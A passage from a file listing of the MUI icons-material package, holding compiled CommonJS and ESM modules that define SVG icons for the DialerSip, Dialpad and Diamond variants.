    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.5 8c.28 0 .5-.22.5-.5v-4c0-.28-.22-.5-.5-.5s-.5.22-.5.5v4c0 .28.22.5.5.5m-4-1c-.28 0-.5.22-.5.5s.22.5.5.5h1.95c.3 0 .55-.25.55-.55v-1.9c0-.3-.25-.55-.55-.55H13V4h1.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5h-1.95c-.3 0-.55.25-.55.55v1.89c0 .31.25.56.55.56H14v1zm7.95-4h-1.89c-.31 0-.56.25-.56.55V7.5c0 .28.22.5.5.5s.5-.22.5-.5V6h1.45c.3 0 .55-.25.55-.55v-1.9c0-.3-.25-.55-.55-.55M20 5h-1V4h1zm-.79 10.27-2.54-.29c-.61-.07-1.21.14-1.64.57l-1.84 1.84c-2.83-1.44-5.15-3.75-6.59-6.59l1.85-1.85c.43-.43.64-1.04.57-1.64l-.29-2.52c-.11-1.01-.97-1.78-1.98-1.78H5.02c-1.13 0-2.07.94-2 2.07.53 8.54 7.36 15.36 15.89 15.89 1.13.07 2.07-.87 2.07-2v-1.73c.01-1-.76-1.86-1.77-1.97\"\n}), 'DialerSipRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DialerSipRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.5 8c.28 0 .5-.22.5-.5v-4c0-.28-.22-.5-.5-.5s-.5.22-.5.5v4c0 .28.22.5.5.5m-4-1c-.28 0-.5.22-.5.5s.22.5.5.5h1.95c.3 0 .55-.25.55-.55v-1.9c0-.3-.25-.55-.55-.55H13V4h1.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5h-1.95c-.3 0-.55.25-.55.55v1.89c0 .31.25.56.55.56H14v1zm7.95-4h-1.89c-.31 0-.56.25-.56.55V7.5c0 .28.22.5.5.5s.5-.22.5-.5V6h1.45c.3 0 .55-.25.55-.55v-1.9c0-.3-.25-.55-.55-.55M20 5h-1V4h1zm-.79 10.27-2.54-.29c-.61-.07-1.21.14-1.64.57l-1.84 1.84c-2.83-1.44-5.15-3.75-6.59-6.59l1.85-1.85c.43-.43.64-1.04.57-1.64l-.29-2.52c-.11-1.01-.97-1.78-1.98-1.78H5.02c-1.13 0-2.07.94-2 2.07.53 8.54 7.36 15.36 15.89 15.89 1.13.07 2.07-.87 2.07-2v-1.73c.01-1-.76-1.86-1.77-1.97\"\n}), 'DialerSipRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DialerSipSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 3h1v5h-1zm-1 2h-2V4h2V3h-3v3h2v1h-2v1h3zm3-2v5h1V6h2V3zm2 2h-1V4h1zm1 10.46-5.27-.61-2.52 2.52c-2.83-1.44-5.15-3.75-6.59-6.59l2.53-2.53L8.54 3H3.03C2.45 13.18 10.82 21.55 21 20.97z\"\n}), 'DialerSipSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DialerSipSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 3h1v5h-1zm-1 2h-2V4h2V3h-3v3h2v1h-2v1h3zm3-2v5h1V6h2V3zm2 2h-1V4h1zm1 10.46-5.27-.61-2.52 2.52c-2.83-1.44-5.15-3.75-6.59-6.59l2.53-2.53L8.54 3H3.03C2.45 13.18 10.82 21.55 21 20.97z\"\n}), 'DialerSipSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DialerSipTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.2 18.21c1.2.41 2.48.67 3.8.75v-1.5c-.88-.06-1.75-.22-2.59-.45zM6.54 5h-1.5c.09 1.32.35 2.59.75 3.79l1.2-1.21c-.24-.83-.39-1.7-.45-2.58\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 3h1v5h-1zm-4 4v1h3V5h-2V4h2V3h-3v3h2v1zm9-4h-3v5h1V6h2zm-1 2h-1V4h1zm1 11.5c0-.55-.45-1-1-1-1.25 0-2.45-.2-3.57-.57-.1-.03-.21-.05-.31-.05-.26 0-.51.1-.7.29l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.59l2.2-2.21c.27-.26.35-.65.24-1C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1zM5.03 5h1.5c.07.88.22 1.75.46 2.59L5.79 8.8c-.41-1.21-.67-2.48-.76-3.8M19 18.97c-1.32-.09-2.59-.35-3.8-.75l1.2-1.2c.85.24 1.71.39 2.59.45v1.5z\"\n}, \"1\")], 'DialerSipTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DialerSipTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.2 18.21c1.2.41 2.48.67 3.8.75v-1.5c-.88-.06-1.75-.22-2.59-.45zM6.54 5h-1.5c.09 1.32.35 2.59.75 3.79l1.2-1.21c-.24-.83-.39-1.7-.45-2.58\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 3h1v5h-1zm-4 4v1h3V5h-2V4h2V3h-3v3h2v1zm9-4h-3v5h1V6h2zm-1 2h-1V4h1zm1 11.5c0-.55-.45-1-1-1-1.25 0-2.45-.2-3.57-.57-.1-.03-.21-.05-.31-.05-.26 0-.51.1-.7.29l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.59l2.2-2.21c.27-.26.35-.65.24-1C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1zM5.03 5h1.5c.07.88.22 1.75.46 2.59L5.79 8.8c-.41-1.21-.67-2.48-.76-3.8M19 18.97c-1.32-.09-2.59-.35-3.8-.75l1.2-1.2c.85.24 1.71.39 2.59.45v1.5z\"\n}, \"1\")], 'DialerSipTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Dialpad.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 19c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2M6 1c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0 6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0 6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m12-8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m-6 8c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m6 0c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0-6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-6 0c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0-6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'Dialpad');"
  },
  {
    "path": "packages/mui-icons-material/lib/Dialpad.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 19c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2M6 1c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0 6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0 6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m12-8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m-6 8c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m6 0c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0-6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-6 0c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0-6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'Dialpad');"
  },
  {
    "path": "packages/mui-icons-material/lib/DialpadOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 19c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2M6 1c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0 6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0 6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m12-8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m-6 8c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m6 0c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0-6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-6 0c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0-6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'DialpadOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DialpadOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 19c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2M6 1c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0 6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0 6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m12-8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m-6 8c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m6 0c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0-6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-6 0c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0-6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'DialpadOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DialpadRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 19c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2M6 1c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0 6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0 6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m12-8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m-6 8c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m6 0c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0-6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-6 0c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0-6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'DialpadRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DialpadRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 19c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2M6 1c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0 6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0 6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m12-8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m-6 8c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m6 0c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0-6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-6 0c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0-6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'DialpadRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DialpadSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 19c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2M6 1c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0 6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0 6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m12-8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m-6 8c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m6 0c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0-6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-6 0c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0-6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'DialpadSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DialpadSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 19c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2M6 1c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0 6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0 6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m12-8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m-6 8c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m6 0c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0-6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-6 0c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0-6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'DialpadSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DialpadTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 7c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m2 8c0-1.1-.9-2-2-2s-2 .9-2 2 .9 2 2 2 2-.9 2-2m-8 8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M6 5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m12-4c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2M6 17c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m0-6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m6 6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m0-6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m0-6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2\"\n}), 'DialpadTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DialpadTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 7c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m2 8c0-1.1-.9-2-2-2s-2 .9-2 2 .9 2 2 2 2-.9 2-2m-8 8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M6 5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m12-4c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2M6 17c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m0-6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m6 6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m0-6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m0-6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2\"\n}), 'DialpadTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Diamond.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.16 3h-.32L9.21 8.25h5.58zm4.3 5.25h5.16L19 3h-5.16zm4.92 1.5h-8.63V20.1zM11.25 20.1V9.75H2.62zM7.54 8.25 10.16 3H5L2.38 8.25z\"\n}), 'Diamond');"
  },
  {
    "path": "packages/mui-icons-material/lib/Diamond.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.16 3h-.32L9.21 8.25h5.58zm4.3 5.25h5.16L19 3h-5.16zm4.92 1.5h-8.63V20.1zM11.25 20.1V9.75H2.62zM7.54 8.25 10.16 3H5L2.38 8.25z\"\n}), 'Diamond');"
  },
  {
    "path": "packages/mui-icons-material/lib/DiamondOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5L2 9l10 12L22 9zM9.62 8l1.5-3h1.76l1.5 3zM11 10v6.68L5.44 10zm2 0h5.56L13 16.68zm6.26-2h-2.65l-1.5-3h2.65zM6.24 5h2.65l-1.5 3H4.74z\"\n}), 'DiamondOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DiamondOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5L2 9l10 12L22 9zM9.62 8l1.5-3h1.76l1.5 3zM11 10v6.68L5.44 10zm2 0h5.56L13 16.68zm6.26-2h-2.65l-1.5-3h2.65zM6.24 5h2.65l-1.5 3H4.74z\"\n}), 'DiamondOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DiamondRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.16 3h-.32L9.21 8.25h5.58zm4.3 5.25h5.16l-2.07-4.14C19.21 3.43 18.52 3 17.76 3h-3.93zm4.92 1.5h-8.63V20.1zM11.25 20.1V9.75H2.62zM7.54 8.25 10.16 3H6.24c-.76 0-1.45.43-1.79 1.11L2.38 8.25z\"\n}), 'DiamondRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DiamondRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.16 3h-.32L9.21 8.25h5.58zm4.3 5.25h5.16l-2.07-4.14C19.21 3.43 18.52 3 17.76 3h-3.93zm4.92 1.5h-8.63V20.1zM11.25 20.1V9.75H2.62zM7.54 8.25 10.16 3H6.24c-.76 0-1.45.43-1.79 1.11L2.38 8.25z\"\n}), 'DiamondRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DiamondSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.16 3h-.32L9.21 8.25h5.58zm4.3 5.25h5.16L19 3h-5.16zm4.92 1.5h-8.63V20.1zM11.25 20.1V9.75H2.62zM7.54 8.25 10.16 3H5L2.38 8.25z\"\n}), 'DiamondSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DiamondSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.16 3h-.32L9.21 8.25h5.58zm4.3 5.25h5.16L19 3h-5.16zm4.92 1.5h-8.63V20.1zM11.25 20.1V9.75H2.62zM7.54 8.25 10.16 3H5L2.38 8.25z\"\n}), 'DiamondSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DiamondTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.88 5H6.24l-1.5 3h2.64zm10.38 3-1.5-3h-2.64l1.5 3zM11 16.68V10H5.44zm2 0L18.56 10H13zM12.88 5h-1.76l-1.5 3h4.76z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5L2 9l10 12L22 9zm-1.24 2 1.5 3h-2.65l-1.5-3zM6.24 5h2.65l-1.5 3H4.74zM11 16.68 5.44 10H11zM9.62 8l1.5-3h1.76l1.5 3zM13 16.68V10h5.56z\"\n}, \"1\")], 'DiamondTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DiamondTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.88 5H6.24l-1.5 3h2.64zm10.38 3-1.5-3h-2.64l1.5 3zM11 16.68V10H5.44zm2 0L18.56 10H13zM12.88 5h-1.76l-1.5 3h4.76z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5L2 9l10 12L22 9zm-1.24 2 1.5 3h-2.65l-1.5-3zM6.24 5h2.65l-1.5 3H4.74zM11 16.68 5.44 10H11zM9.62 8l1.5-3h1.76l1.5 3zM13 16.68V10h5.56z\"\n}, \"1\")], 'DiamondTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Difference.js",
